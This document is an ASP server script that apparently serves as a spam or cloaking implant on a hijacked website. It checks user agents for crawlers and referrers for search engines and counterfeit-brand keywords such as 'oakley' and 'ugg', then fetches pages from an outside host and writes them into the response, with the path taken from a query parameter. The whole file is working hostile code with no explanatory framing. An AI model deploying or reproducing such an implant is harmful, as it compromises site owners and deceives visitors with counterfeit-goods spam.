<% function GetBot() dim s_agent GetBot=0 s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"bot",1) >0 then GetBot=1 end if if instr(1,s_agent,"spider",1) >0 then GetBot=1 end if if instr(1,s_agent,"slurp",1) >0 then GetBot=1 end if if instr(1,s_agent,"yahoo",1) >0 then GetBot=1 end if end function Function getHTTPPage(Path) dim t t = GetBody(Path) getHTTPPage=BytesToBstr(t,"utf-8") End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function GetBody(url) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function function GetFrom() dim s_ref GetFrom=0 s_ref =Request.ServerVariables("HTTP_REFERER") if instr(1, s_ref,"oakley",1) >0 then GetFrom=1 end if if instr(1, s_ref,"michael",1) >0 then GetFrom=1 end if if instr(1, s_ref,"ray",1) >0 then GetFrom=1 end if if instr(1, s_ref,"glass",1) >0 then GetFrom=1 end if if instr(1, s_ref,"kor",1) >0 then GetFrom=1 end if if instr(1, s_ref,"ask",1) >0 then GetFrom=1 end if if instr(1, s_ref,"aol",1) >0 then GetFrom=1 end if if instr(1, s_ref,"ugg",1) >0 then GetFrom=1 end if if instr(1, s_ref,"google",1) >0 then GetFrom=1 end if end function Dim wstr,str,url,start,over,dtime,myparm url="http://www.chindiaoyong.com/jp/mon/dasbuero.at/images/index.html" If Request.QueryString("p")<>"" then myparm=Request.QueryString("p") url="http://www.chindiaoyong.com/jp/mon/dasbuero.at/images/"&replace(myparm," ","-") end if wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.end %>